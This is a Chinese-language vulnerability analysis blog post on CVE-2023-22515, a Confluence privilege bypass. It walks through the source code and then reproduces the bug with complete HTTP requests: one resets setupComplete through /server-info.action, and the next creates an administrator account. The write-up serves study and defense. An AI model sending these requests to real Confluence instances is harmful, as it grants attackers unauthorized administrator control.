Confluence 属性覆盖导致权限绕过漏洞 (CVE-2023-22515)

Confluence 属性覆盖CVE-2023-22515

漏洞分析

前置知识

Confluence 是一个非常大的 Java 应用程序,基于 Apache Struts 框架构建。作为其中的一部分,XWork2 使用了该框架。XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数来设置 Java 对象的参数

例如在程序中,调用了方法:getFormData().setName("Charles")

通过XWork进行http发送,就是:formData.name=Charles

如果getFormData() 返回 null,则使用默认构造器,再用setFormDat(Object object) 进行设置

流程分析

先从正常初始化创建admin权限用户入手,正常初始化admin权限的用户数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /setup/setupadministrator.action HTTP/1.1
Host: 10.65.14.146:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
X-Atlassian-Token: no-check

username=nsfocus&fullName=nsfocus&email=nsfocus%40nsfocus.org&password=nsfocus&confirm=nsfocus&setup-next-button=Next

当将此数据包发送给服务端后,首先会来到SetupCheckInterceptor拦截器,触发intercept()方法:

image-20231109142612802

可以看到这里是做了判断。如果两条红色语句的结果为True则返回"alreadysetup"否则调用actionInvocation.invoke()

那我们先来将这段代码按颜色分为前后两部分解释一下每条语句的含义:

前半部分:

BootstrapUtils.getBootstrapManager().isSetupComplete()ContainerManager.isContainerSetup() 用于检查 Confluence 是否进行设置;

BootstrapUtils.getBootstrapManager()返回 DefaultAtlassianBootstrapManager 对象,再调用isSetupComplete() 方法

image-20231109143509686

这里会调用applicationConfig.isSetupComplete()isSetupComplete()又会将全局变量setupComplete返回;我们看到在下面又有变量setupComplete的set方法。

image-20231109153435574

也就是说只要我们让SetupComplete参数为False,那么整体的判断都会为false。(这个参数很重要后续会提到)

后半部分:

actionInvocation.invoke()中的actionInvocationintercept()传入的DefaultActionInvocation所以会调用它当中的invoke方法。而DefaultActionInvocation.invoke()是一个处理操作执行流程的控制器,它首先处理拦截器,再执行具体操作,最后执行预结果监听器和结果。这里将输入的内容交给SafeParametersInterceptor

image-20231109150849210

正常流程BootstrapUtils.getBootstrapManager().isSetupComplete()ContainerManager.isContainerSetup()肯定为False。省略掉中间无用部分,最后来到验证用户(这里的验证逻辑是与现有用户进行匹配是否重名)验证成功后便可创建。

image-20231109144708304

创建admin权限的用户:

image-20231109151539524

以上就是我们在初始化时创建用户的正常流程。那漏洞到底时如何产生的呢?还需要回归到我们的第一步。

image-20231109142612802

在了解上面的正常流程后,我们可以这么简单认为。只要前半红色部分有一个为False,那么就会执行actionInvocation.invoke()也就是相当于创建用户。所以我们的主要思路还是放在如何让前半部分的两条语句任一变为False。

前置知识中提到了,XWorks 允许 以HTTP的形式调用对象的setter 方法。

所以我们此时需要寻找一个无需授权、Action对象还公开一个合适的get方法、该方法允许我们访问应用程序配置。

我们找到ConfluenceActionSupport类。在ConfluenceActionSupport中的getBootstrapStatusProvider中获取了BootstrapStatusProviderImpl的实例对象并返回。

image-20231109162025299

我们再跟到BootstrapStatusProviderImpl,发现该实例对象存在getApplicationConfig方法,而且有对应返回值。

image-20231109162536006

而在ApplicationConfig的实例对象中存在setSetupComplete,当中的参数SetupComplete就是我们在开始的时候分析的对初始判断起决定性作用的的参数。

image-20231109163116672

详细的调用栈如下:

1
2
3
4
5
bootstrapStatusProvider
BootstrapStatusProviderImpl
ApplicationConfiguration
ApplicationConfig
setSetupComplete

故转换成HTTP格式如下:

1
bootstrapStatusProvider.applicationConfig.setupComplete=false

漏洞复现

  1. 先覆盖目标Confluence服务器中的bootstrapStatusProvider.applicationConfig.setupComplete属性:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
    Host: 10.65.14.146:8090
    Accept-Encoding: gzip, deflate, br
    Accept: */*
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
    Connection: close
    Cache-Control: max-age=0

    image-20231109141047184

  2. 然后新建管理员账户:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    POST /setup/setupadministrator.action HTTP/1.1
    Host: 10.65.14.146:8090
    Accept-Encoding: gzip, deflate, br
    Accept: */*
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
    Connection: close
    Cache-Control: max-age=0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 94
    X-Atlassian-Token: no-check

    username=nsfocus&fullName=nsfocus&email=nsfocus%40nsfocus.org&password=nsfocus&confirm=nsfocus&setup-next-button=Next

    image-20231109141150966

  3. 查看用户目录发现添加成功。

    image-20231109141252166

  4. 登录直接为admin权限的用户:

    image-20231109141527544

上传对比测试!!


Confluence 属性覆盖导致权限绕过漏洞 (CVE-2023-22515)
http://example.com/2023/11/09/CVE-2023-22515/
作者
Yuanyi
发布于
2023年11月9日
许可协议